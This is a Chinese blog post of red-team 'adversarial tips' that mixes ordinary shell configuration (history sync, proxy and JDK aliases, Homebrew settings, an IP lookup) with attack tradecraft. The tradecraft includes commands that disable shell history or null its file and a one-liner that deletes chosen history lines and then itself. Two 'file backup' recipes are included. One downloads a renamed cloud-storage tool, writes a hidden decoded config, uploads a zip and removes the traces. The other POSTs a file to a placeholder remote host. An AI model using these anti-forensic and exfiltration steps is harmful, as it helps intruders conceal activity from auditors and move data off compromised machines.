对抗小技巧: 一些实用的运维命令

souziyuan 2024-7-1 10 7/1

命令补全

  1. iterm2 + zsh + autosuggestions

多终端历史命令同步

指定zsh写入的历史命令的路径,配合autosuggestions实用,对设备多的人来说非常实用

  1. #历史命令的

  2. HISTFILE="$HOME/Library/Mobile Documents/com~apple~CloudDocs/zsh/.zsh_history"

  3. #记录历史命令条数

  4. HISTSIZE=100000

  5. SAVEHIST=100000

  6. setopt appendhistory

同样的 $HOME/.ssh/$HOME/.kube/一类的文件夹也可以配置自动同步

隐藏命令记录

入门

  1. set +o history

进阶

  1. export HISTFILE=/dev/null

高级

  1. unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

清除指定行历史命令

清除540行到566行。

  1. for h in $(seq 540 566 | tac); do history -d $h; done; history -d $(history 1 | awk '{print $1}')

代理切换

alias(别名) 非常实用

  1. alias proxy="export ALL_PROXY=http://127.0.0.1:8080"

  2. alias noproxy="export https_proxy= http_proxy= all_proxy="

  3. alias ips="export all_proxy=\"socks5://xxxx:xxxx@proxypool:80\""

替换jenv:

  1. alias jdk6="export JAVA_HOME=/Library/Java/JavaVirtualMachines/1.6.0.jdk/Contents/Home"

  2. alias jdk7="export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home"

  3. alias jdk8="export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_151.jdk/Contents/Home"

  4. alias jdk9="export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-9.0.4.jdk/Contents/Home"

  5. alias jdk10="export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-10.0.2.jdk/Contents/Home"

  6. alias jdk11="export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-11.0.1.jdk/Contents/Home"

  7. alias jdk12="export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-12.0.1.jdk/Contents/Home"

  8. alias jdk13="export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-13.jdk/Contents/Home"

  9. alias jdk14="export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-14.0.1.jdk/Contents/Home"

  10. alias jdk15="export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-15.jdk/Contents/Home"

禁止HOMEBREW自动更新

避免brew安装/更新程序是自动更新其他程序

  1. export HOMEBREW_NO_AUTO_UPDATE=true

二进制程序统一管理

所有编译好的工具可以统一丢到这目录,无需在alias去链接程序绝对路径,同样也可以配置iCloud自动同步。

  1. export PATH=$PATH:/Users/$HOME/tools/bintools/

当前IP查看

内外网ip

  1. ip(){

  2. echo -e "\e[32m[+] 内网:\e[0m"

  3. ifconfig|grep "inet "|awk -F ' ' '{print $2}'

  4. echo -e "\n\e[31m[+] 公网:\e[0m"

  5. curl cip.cc -s | tr -s '\n' '\n'

  6. }

  7. ip

文件备份1

  1. cd /tmp

  2. wget https://gosspublic.alicdn.com/ossutil/1.7.13/ossutil64 -O hulk

  3. chmod +x hulk

  4. echo "你的配置"|base64 -d > /tmp/.hulk

  5. ./hulk -c /tmp/.hulk cp /hulk.zip oss://xxxx/hulk.zip

  6. rm -rf /tmp/.hulk

文件备份2

curl http://xxx:58000/upload -X POST -F 'file=@/tmp/pods'

  1. ~ cat upload.py

  2. from flask import Flask, request

  3. app = Flask(__name__)

  4. 登录后下载查看内容:点击我登录

- THE END -
0

本站提供的资源,都来自网络,版权争议与本站无关,所有内容及软件的文章仅限用于学习和研究目的。不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负,我们不保证内容的长久可用性,通过使用本站内容随之而来的风险与本站无关,您必须在下载后的24个小时之内,从您的电脑/手机中彻底删除上述内容。如果您喜欢该程序,请支持正版软件,购买注册,得到更好的正版服务。侵删请致信邮箱souziyuan@outlook.com

共有 0 条评论

您必须 后可评论